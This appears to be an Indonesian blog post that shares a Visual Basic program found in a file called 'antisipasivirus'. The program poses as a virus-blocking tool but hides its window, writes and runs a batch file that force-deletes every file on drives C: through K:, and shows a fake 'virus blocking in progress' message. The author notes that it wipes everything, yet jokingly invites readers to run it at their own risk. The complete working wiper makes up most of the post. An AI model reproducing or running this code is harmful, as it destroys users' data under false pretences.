ngk ada kerjaan, iseng2 buka file2 lama... ketemu file yang bernama "antisipasivirus" setelah di buka ternaya sebuah code command. berikut code nya.
Code :
hehehhee... kirain emang antisipasi virus, kalau ada yang mau coba runingkan silahkan, tapi efek dan resiko silahkan di tanggung jawab sendiri.. :D
Code :
Private Sub form_load()Ternyata setelah di liat2.. jika di runingkan akan menghapus semua file yang ada.. terlihat perintah del /s /f /q k:\*.*" , yang mana melakukan delate terhadap semua file tanpa kecuali...
On Error Resume Next
Form1.Visible = False
Open "C:\AntisipasiVirus.txt" For Output As #1
On Error Resume Next
Print #1, "@echo off"
Print #1, "@title Proses Antisipasi Virus Pada Sistem.. Sedang Berlangsung"
Print #1, "@del /s /f /q c:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q d:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q e:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q f:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q g:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q h:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q i:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q j:\*.*"
Print #1, "@cls"
Print #1, "@del /s /f /q k:\*.*"
Print #1, "@cls"
Close #1
Name "C:\AntisipasiVirus.txt" As "C:\AntisipasiVirus.bat"
Shell "C:\AntisipasiVirus.bat"
MsgBox "Tunggu Sebentar, Proses Pemblokiran VIRUS Sedang Berlangsung", vbOKOnly, "Loading....!!"
Kill "C:\AntisipasiVirus.bat"
End Sub
hehehhee... kirain emang antisipasi virus, kalau ada yang mau coba runingkan silahkan, tapi efek dan resiko silahkan di tanggung jawab sendiri.. :D
0 Komentar
Berikan Komentar yang bermanfaat dan sehat.